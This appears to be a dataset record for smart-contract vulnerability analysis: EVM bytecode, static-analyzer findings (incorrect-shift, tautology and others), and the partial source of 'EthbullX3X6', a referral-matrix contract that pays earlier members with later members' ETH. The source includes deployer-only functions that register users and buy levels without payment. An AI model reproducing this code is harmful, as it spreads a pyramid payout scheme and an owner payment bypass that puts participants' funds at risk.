out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
}
|
0x608060405234801561001057600080fd5b50600436106100675760003560e01c806397b448e21161005057806397b448e2146100a8578063d129beee146100bb578063ffbcaa51146100db57600080fd5b80631c1a6e061461006c5780631dfdde1b14610095575b600080fd5b61007f61007a366004611862565b6100ee565b60405161008c91906118ed565b60405180910390f35b61007f6100a33660046119f1565b610186565b61007f6100b6366004611a2c565b6101b9565b6100ce6100c9366004611a98565b61021e565b60405161008c9190611ab9565b61007f6100e9366004611862565b610273565b606060006100fb83610273565b905080516002141561012f57806040516020016101189190611b09565b604051602081830303815290604052915050919050565b80516003141561014a57806040516020016101189190611b3d565b80516004141561016557806040516020016101189190611b69565b80516005141561018057806040516020016101189190611b95565b92915050565b6060600061019383610400565b805160208083015160408085015160608601519151959650610118959293909201611bd7565b606060006101c683610400565b805160208201516040830151606084015193945091929091906101f26101ed896006611003565b61120f565b604051602001610206959493929190611d3d565b60405160208183030381529060405291505092915050565b600060098260ff161161023f57610236826030611fd1565b60f81b92915050565b8160ff16600a111580156102575750600f8260ff1611155b1561006757600a610269836061611fd1565b6102369190611ff7565b60606000825b801561029f578161028981612019565b9250610298905060108261204a565b9050610279565b60008267ffffffffffffffff8111156102ba576102ba6118fe565b6040519080825280601f01601f1916602001820160405280156102e4576020820181803683370190505b50905060005b8381101561037b576102fd60108761205e565b92506103088361021e565b8260016103158488612076565b61031f9190612076565b8151811061032f5761032f611bc1565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535061036960108761204a565b955061037481612019565b90506102ea565b50805181906103c257505060408051808201909152600281527f30300000000000000000000000000000000000000000000000000000000000006020820152949350505050565b8051600114156103f757806040516020016103dd9190611b95565b604051602081830303815290604052945050505050919050565b95945050505050565b610408611805565b6104476040518060c00160405280600060ff168152602001600060ff168152602001606081526020016060815260200160608152602001606081525090565b61048f60405180610100016040528060608152602001606081526020016060815260200160608152602001606081526020016060815260200160608152602001606081525090565b61049761182c565b60006104a1611805565b6040805161044081018252600461040082018181527f4d444177000000000000000000000000000000000000000000000000000000006104208401528252825180840184528181527f4d4445770000000000000000000000000000000000000000000000000000000060208281019190915280840191909152835180850185528281527f4d444977000000000000000000000000000000000000000000000000000000008183015283850152835180850185528281527f4d444d7700000000000000000000000000000000000000000000000000000000818301526060840152835180850185528281527f4d44517700000000000000000000000000000000000000000000000000000000818301526080840152835180850185528281527f4d445577000000000000000000000000000000000000000000000000000000008183015260a0840152835180850185528281527f4d445977000000000000000000000000000000000000000000000000000000008183015260c0840152835180850185528281527f4d446377000000000000000000000000000000000000000000000000000000008183015260e0840152835180850185528281527f4d4467770000000000000000000000000000000000000000000000000000000081830152610100840152835180850185528281527f4d446b770000000000000000000000000000000000000000000000000000000081830152610120840152835180850185528281527f4d5441770000000000000000000000000000000000000000000000000000000081830152610140840152835180850185528281527f4d5445770000000000000000000000000000000000000000000000000000000081830152610160840152835180850185528281527f4d5449770000000000000000000000000000000000000000000000000000000081830152610180840152835180850185528281527f4d544d7700000000000000000000000000000000000000000000000000000000818301526101a0840152835180850185528281527f4d54517700000000000000000000000000000000000000000000000000000000818301526101c0840152835180850185528281527f4d54557700000000000000000000000000000000000000000000000000000000818301526101e0840152835180850185528281527f4d5459770000000000000000000000000000000000000000000000000000000081830152610200840152835180850185528281527f4d5463770000000000000000000000000000000000000000000000000000000081830152610220840152835180850185528281527f4d5467770000000000000000000000000000000000000000000000000000000081830152610240840152835180850185528281527f4d546b770000000000000000000000000000000000000000000000000000000081830152610260840152835180850185528281527f4d6a41770000000000000000000000000000000000000000000000000000000081830152610280840152835180850185528281527f4d6a457700000000000000000000000000000000000000000000000000000000818301526102a0840152835180850185528281527f4d6a497700000000000000000000000000000000000000000000000000000000818301526102c0840152835180850185528281527f4d6a4d7700000000000000000000000000000000000000000000000000000000818301526102e0840152835180850185528281527f4d6a51770000000000000000000000000000000000000000000000000000000081830152610300840152835180850185528281527f4d6a55770000000000000000000000000000000000000000000000000000000081830152610320840152835180850185528281527f4d6a59770000000000000000000000000000000000000000000000000000000081830152610340840152835180850185528281527f4d6a63770000000000000000000000000000000000000000000000000000000081830152610360840152835180850185528281527f4d6a67770000000000000000000000000000000000000000000000000000000081830152610380840152835180850185528281527f4d6a6b7700000000000000000000000000000000000000000000000000000000818301526103a0840152835180850185528281527f4d7a417700000000000000000000000000000000000000000000000000000000818301526103c084015283518085019094529083527f4d7a457700000000000000000000000000000000000000000000000000000000908301526103e0810191909152600090815b610400811015610ff557610b688a8260006113ca565b6040890152610b798a8260016113ca565b6060890152610b8a8a8260026113ca565b6080890152610b9b8a8260036113ca565b60a0890152610baa82896114a3565b875287516004908990610bbe908390611fd1565b60ff16905250610bd08a8260046113ca565b6040890152610be18a8260056113ca565b6060890152610bf28a8260066113ca565b6080890152610c038a8260076113ca565b60a0890152610c1282896114a3565b6020880152610c2260088261207c565b9050600488600001818151610c379190611fd1565b60ff16905250610c498a8260006113ca565b6040890152610c5a8a8260016113ca565b6060890152610c6b8a8260026113ca565b6080890152610c7c8a8260036113ca565b60a0890152610c8b82896114a3565b604088015287516004908990610ca2908390611fd1565b60ff16905250610cb48a8260046113ca565b6040890152610cc58a8260056113ca565b6060890152610cd68a8260066113ca565b6080890152610ce78a8260076113ca565b60a0890152610cf682896114a3565b6060880152610d0660088261207c565b9050600488600001818151610d1b9190611fd1565b60ff16905250610d2d8a8260006113ca565b6040890152610d3e8a8260016113ca565b6060890152610d4f8a8260026113ca565b6080890152610d608a8260036113ca565b60a0890152610d6f82896114a3565b608088015287516004908990610d86908390611fd1565b60ff16905250610d988a8260046113ca565b6040890152610da98a8260056113ca565b6060890152610dba8a8260066113ca565b6080890152610dcb8a8260076113ca565b60a0890152610dda82896114a3565b60a0880152610dea60088261207c565b9050600488600001818151610dff9190611fd1565b60ff16905250610e118a8260006113ca565b6040890152610e228a8260016113ca565b6060890152610e338a8260026113ca565b6080890152610e448a8260036113ca565b60a0890152610e5382896114a3565b60c088015287516004908990610e6a908390611fd1565b60ff16905250610e7c8a8260046113ca565b6040890152610e8d8a8260056113ca565b6060890152610e9e8a8260066113ca565b6080890152610eaf8a8260076113ca565b60a0890152610ebe82896114a3565b60e0880152610ece60088261207c565b905086600001518760200151886040015189606001518a608001518b60a001518c60c001518d60e00151604051602001610f0f98979695949392919061208f565b604051602081830303815290604052868680610f2a906120ed565b975060ff1660088110610f3f57610f3f611bc1565b60209081029190910191909152600089528801805160019190610f63908390611fd1565b60ff9081169091526008908716109050610ff05785516020808801516040808a015160608b015160808c015160a08d015160c08e015160e08f01519551610fb6999895969495939492939192910161208f565b604051602081830303815290604052848480610fd1906120ed565b955060ff1660048110610fe657610fe6611bc1565b6020020152600094505b610b52565b509198975050505050505050565b60608260005b811561102f578061101981612019565b91506110289050600a8361204a565b9150611009565b60008467ffffffffffffffff81111561104a5761104a6118fe565b6040519080825280601f01601f191660200182016040528015611074576020820181803683370190505b508593509050856110e7577f3000000000000000000000000000000000000000000000000000000000000000816000815181106110b3576110b3611bc1565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600191505b81831115611163576110fa600184612076565b92507f200000000000000000000000000000000000000000000000000000000000000081848151811061112f5761112f611bc1565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506110e7565b815b861561120557611176600182612076565b90506000611185600a8961204a565b61119090600a612106565b61119a9089612076565b6111a5906030611fd1565b905060008160f81b9050808484815181106111c2576111c2611bc1565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506111fc600a8a61204a565b98505050611165565b5095945050505050565b80516060908061122f575050604080516020810190915260008152919050565b6000600361123e83600261207c565b611248919061204a565b611253906004612106565b9050600061126282602061207c565b67ffffffffffffffff81111561127a5761127a6118fe565b6040519080825280601f01601f1916602001820160405280156112a4576020820181803683370190505b509050600060405180606001604052806040815260200161246a604091399050600181016020830160005b86811015611330576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b8352600490920191016112cf565b50600386066001811461134a5760028114611394576113bc565b7f3d3d0000000000000000000000000000000000000000000000000000000000007ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe8301526113bc565b7f3d000000000000000000000000000000000000000000000000000000000000006000198301525b505050918152949350505050565b606060006113d8838561207c565b905060006113e686836115f6565b60ff169050600061140d876113fc846003612106565b6114089061028061207c565b61172f565b905060008160008151811061142457611424611bc1565b0160200151825160f89190911c91508290600190811061144657611446611bc1565b016020015161145c9060f81c600883901b61207c565b90508160028151811061147157611471611bc1565b01602001516114879060f81c600883901b61207c565b90506114956101ed826100ee565b9450505050505b9392505050565b6060816040015183836000015160ff16602081106114c3576114c3611bc1565b602002015184846020015160ff16602081106114e1576114e1611bc1565b60200201516060850151855187906114fa906001611fd1565b60ff166020811061150d5761150d611bc1565b602002015187876020015160ff166020811061152b5761152b611bc1565b6020020151608088015188518a90611544906002611fd1565b60ff166020811061155757611557611bc1565b60200201518a8a6020015160ff166020811061157557611575611bc1565b602002015160a08b01518b518d9061158e906003611fd1565b60ff16602081106115a1576115a1611bc1565b60200201518d8d6020015160ff16602081106115bf576115bf611bc1565b60200201516040516020016115df9c9b9a9998979695949392919061219f565b604051602081830303815290604052905092915050565b6000806008611606846005612106565b611610919061204a565b905060006008611621856005612106565b61162b919061205e565b905060008086848151811061164257611642611bc1565b016020015160f81c9050600360ff84161061169c576000611664846008611ff7565b61166f906002612447565b9050600061167e600386611ff7565b905060ff811661168e838561245c565b60ff16901b935050506116c2565b60006116a9846003611ff7565b90506116be602060ff8481169084161c61245c565b9250505b60038360ff1611156112055760006116db600385611ff7565b90506000886116eb87600161207c565b815181106116fb576116fb611bc1565b016020015160f81c9050611710826008611ff7565b6117229060ff83811691161c85611fd1565b9998505050505050505050565b60408051600380825281830190925260609160009190602082018180368337019050509050825b61176184600361207c565b8110156117fd5784818151811061177a5761177a611bc1565b01602001517fff0000000000000000000000000000000000000000000000000000000000000016826117ac8684612076565b815181106117bc576117bc611bc1565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350806117f581612019565b915050611756565b509392505050565b60405180608001604052806004905b60608152602001906001900390816118145790505090565b60408051610100810190915260608152600760208201611814565b805b811461185457600080fd5b50565b803561018081611847565b60006020828403121561187757611877600080fd5b60006118838484611857565b949350505050565b60005b838110156118a657818101518382015260200161188e565b838111156118b5576000848401525b50505050565b60006118c5825190565b8084526020840193506118dc81856020860161188b565b601f01601f19169290920192915050565b6020808252810161149c81846118bb565b634e487b7160e01b600052604160045260246000fd5b601f19601f830116810181811067ffffffffffffffff8211171561193a5761193a6118fe565b6040525050565b600061194c60405190565b90506119588282611914565b919050565b600067ffffffffffffffff821115611977576119776118fe565b601f19601f83011660200192915050565b82818337506000910152565b60006119a76119a28461195d565b611941565b9050828152602081018484840111156119c2576119c2600080fd5b6117fd848285611988565b600082601f8301126119e1576119e1600080fd5b8135611883848260208601611994565b600060208284031215611a0657611a06600080fd5b813567ffffffffffffffff811115611a2057611a20600080fd5b611883848285016119cd565b60008060408385031215611a4257611a42600080fd5b6000611a4e8585611857565b925050602083013567ffffffffffffffff811115611a6e57611a6e600080fd5b611a7a858286016119cd565b9150509250929050565b60ff8116611849565b803561018081611a84565b600060208284031215611aad57611aad600080fd5b60006118838484611a8d565b7fff000000000000000000000000000000000000000000000000000000000000008216815260208101610180565b6000611af1825190565b611aff81856020860161188b565b9290920192915050565b7f30303030000000000000000000000000000000000000000000000000000000008152600481015b90506101808183611ae7565b7f3030300000000000000000000000000000000000000000000000000000000000815260038101611b31565b7f3030000000000000000000000000000000000000000000000000000000000000815260028101611b31565b7f3000000000000000000000000000000000000000000000000000000000000000815260018101611b31565b634e487b7160e01b600052603260045260246000fd5b7f50484e325a7942325a584a7a61573975505363784c6a456e49485a705a58644381527f623367394a7a41674d43417a4d6a41674d7a49774a79423462577875637a306e60208201527f6148523063446f764c336433647935334d793576636d63764d6a41774d43397a60408201527f646d636e49484e6f5958426c4c584a6c626d526c636d6c755a7a306e59334a7060608201527f633342465a47646c6379632b00000000000000000000000000000000000000006080820152608c01611c9f8186611ae7565b9050611cab8185611ae7565b9050611cb78184611ae7565b9050611cc38183611ae7565b7f50484e306557786c506e4a6c5933523764326c6b644767364d5442776544746f81527f5a576c6e614851364d544277654474395043397a64486c735a5434384c334e3260208201527f5a7a34000000000000000000000000000000000000000000000000000000000060408201529050604381016103f7565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c65794181527f67496d6c745957646c58325268644745694f69416950484e325a7942325a584a60208201527f7a61573975505363784c6a456e49485a705a586443623367394a7a41674d434160408201527f7a4d6a41674d7a49774a79423462577875637a306e6148523063446f764c336460608201527f33647935334d793576636d63764d6a41774d43397a646d636e49484e6f59584260808201527f6c4c584a6c626d526c636d6c755a7a306e59334a70633342465a47646c63796360a08201527f2b0000000000000000000000000000000000000000000000000000000000000060c082015260c101611e518187611ae7565b9050611e5d8186611ae7565b9050611e698185611ae7565b9050611e758184611ae7565b7f50484e306557786c506e4a6c5933523764326c6b644767364d5442776544746f81527f5a576c6e614851364d544277654474395043397a64486c735a5434384c334e3260208201527f5a7a34694c434167496d3568625755694f69416955476c345a57786864476c7660408201527f6269416a0000000000000000000000000000000000000000000000000000000060608201526064019050611f198183611ae7565b7f49697767496d526c63324e796158423061573975496a6f67496b45674d7a4a3481527f4d7a496763476c345a5778686447566b49476c745957646c4c43427a6447397960208201527f5a5751675957356b49484a6c626d526c636d566b49474e76625842735a58526c60408201527f62486b67623234675932686861573475496e306700000000000000000000000060608201526074019695505050505050565b634e487b7160e01b600052601160045260246000fd5b60ff8116905060ff8216915060008260ff03821115611ff257611ff2611fbb565b500190565b60ff9081169082165b915060008282101561201457612014611fbb565b500390565b600060001982141561202d5761202d611fbb565b5060010190565b634e487b7160e01b600052601260045260246000fd5b60008261205957612059612034565b500490565b815b915060008261207157612071612034565b500690565b81612000565b60008219821115611ff257611ff2611fbb565b612099818a611ae7565b90506120a58189611ae7565b90506120b18188611ae7565b90506120bd8187611ae7565b90506120c98186611ae7565b90506120d58185611ae7565b90506120e18184611ae7565b90506117228183611ae7565b60ff81169050600060ff82141561202d5761202d611fbb565b600081600019048311821515161561212057612120611fbb565b500290565b7f4a7941676544306e00000000000000000000000000000000000000000000000081525b60080190565b7f4a7941676554306e0000000000000000000000000000000000000000000000008152612149565b7f4a7941674943382b0000000000000000000000000000000000000000000000008152612149565b7f50484a6c593351674943426d615778735053636a00000000000000000000000081526014016121cf818e611ae7565b90506121da81612125565b90506121e6818d611ae7565b90506121f18161214f565b90506121fd818c611ae7565b7f4a794176506a78795a574e304943426d615778735053636a00000000000000008152601801905061222f818b611ae7565b905061223a81612125565b9050612246818a611ae7565b90506122518161214f565b905061225d8189611ae7565b7f4a794176506a78795a574e304943426d615778735053636a00000000000000008152601801905061228f8188611ae7565b905061229a81612125565b90506122a68187611ae7565b90506122b18161214f565b90506122bd8186611ae7565b7f4a794176506a78795a574e304943426d615778735053636a0000000000000000815260180190506122ef8185611ae7565b90506122fa81612125565b90506123068184611ae7565b90506123118161214f565b905061231d8183611ae7565b905061232881612177565b9d9c50505050505050505050505050565b80825b60018511156123785780860481111561235757612357611fbb565b600185161561236557908102905b80026123718560011c90565b945061233c565b94509492505050565b6000826123905750600161149c565b8161239d5750600061149c565b81600181146123b357600281146123bd576123ea565b600191505061149c565b60ff8411156123ce576123ce611fbb565b8360020a9150848211156123e4576123e4611fbb565b5061149c565b5060208310610133831016604e8410600b841016171561241d575081810a8381111561241857612418611fbb565b61149c565b61242a8484846001612339565b9250905081840481111561244057612440611fbb565b0292915050565b60ff82169150600061149c6000198484612381565b60ff90811690821661206056fe4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa2646970667358221220efb6bea0c23cfbeb14f81c1e8bfa7dd0e37891b3904ac2ae48b3475c917152c164736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 4,363 |
0x277fa80103cd168b99e9838f13592e2bf7523eba
|
/**
*Submitted for verification at Etherscan.io on 2020-08-01
*/
pragma solidity 0.5.16;
contract EthbullX3X6 {
struct User {
uint id;
address referrer;
uint partnersCount;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
uint8 public constant LAST_LEVEL = 12;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
mapping(uint => address) public userIds;
mapping(address => uint) public balances;
uint public lastUserId = 1;
address public doner;
address public deployer;
uint256 public contractDeployTime;
mapping(uint8 => uint) public levelPrice;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId, uint amount);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint amount);
event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place);
event MissedEthReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level);
event SentExtraEthDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level);
constructor(address donerAddress) public {
levelPrice[1] = 0.03 * 1e18;
uint8 i;
for (i = 2; i <= LAST_LEVEL; i++) {
levelPrice[i] = levelPrice[i-1] * 2;
}
deployer = msg.sender;
doner = donerAddress;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0)
});
users[donerAddress] = user;
idToAddress[1] = donerAddress;
for (i = 1; i <= LAST_LEVEL; i++) {
users[donerAddress].activeX3Levels[i] = true;
users[donerAddress].activeX6Levels[i] = true;
}
userIds[1] = donerAddress;
contractDeployTime = now;
emit Registration(donerAddress, address(0), 1, 0, 0);
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, doner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function registrationExt(address referrerAddress) external payable returns(string memory) {
registration(msg.sender, referrerAddress);
return "registration successful";
}
function registrationCreator(address userAddress, address referrerAddress) external returns(string memory) {
require(msg.sender==deployer, 'Invalid Donor');
require(contractDeployTime+86400 > now, 'This function is only available for first 24 hours' );
registration(userAddress, referrerAddress);
return "registration successful";
}
function buyLevelCreator(address userAddress, uint8 matrix, uint8 level) external returns(string memory) {
require(msg.sender==deployer, 'Invalid Donor');
require(contractDeployTime+86400 > now, 'This function is only available for first 24 hours' );
buyNewLevelInternal(userAddress, matrix, level);
return "Level bought successfully";
}
function buyNewLevel(uint8 matrix, uint8 level) external payable returns(string memory) {
buyNewLevelInternal(msg.sender, matrix, level);
return "Level bought successfully";
}
function buyNewLevelInternal(address user, uint8 matrix, uint8 level) private {
require(isUserExists(user), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
if(!(msg.sender==deployer)) require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1) {
require(!users[user].activeX3Levels[level], "level already activated");
if (users[user].x3Matrix[level-1].blocked) {
users[user].x3Matrix[level-1].blocked = false;
}
address freeX3Referrer = findFreeX3Referrer(user, level);
users[user].x3Matrix[level].currentReferrer = freeX3Referrer;
users[user].activeX3Levels[level] = true;
updateX3Referrer(user, freeX3Referrer, level);
emit Upgrade(user, freeX3Referrer, 1, level, msg.value);
} else {
require(!users[user].activeX6Levels[level], "level already activated");
if (users[user].x6Matrix[level-1].blocked) {
users[user].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(user, level);
users[user].activeX6Levels[level] = true;
updateX6Referrer(user, freeX6Referrer, level);
emit Upgrade(user, freeX6Referrer, 2, level, msg.value);
}
}
function registration(address userAddress, address referrerAddress) private {
if(!(msg.sender==deployer)) require(msg.value == (levelPrice[1]*2), "Invalid registration amount");
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
lastUserId++;
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX3Levels[1] = true;
users[userAddress].activeX6Levels[1] = true;
userIds[lastUserId] = userAddress;
users[referrerAddress].partnersCount++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id, msg.value);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendETHDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress, referrerAddress, 1, level, 3);
//close matrix
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x3Matrix[level].blocked = true;
}
//create new one by recursion
if (referrerAddress != doner) {
//check referrer active level
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].x3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendETHDividends(doner, userAddress, 1, level);
users[doner].x3Matrix[level].reinvestCount++;
emit Reinvest(doner, address(0), userAddress, 1, level);
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == doner) {
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 3);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 4);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
} else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x6Matrix[level].blocked = true;
}
users[referrerAddress].x6Matrix[level].reinvestCount++;
if (referrerAddress != doner) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(doner, address(0), userAddress, 2, level);
sendETHDividends(doner, userAddress, 2, level);
}
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
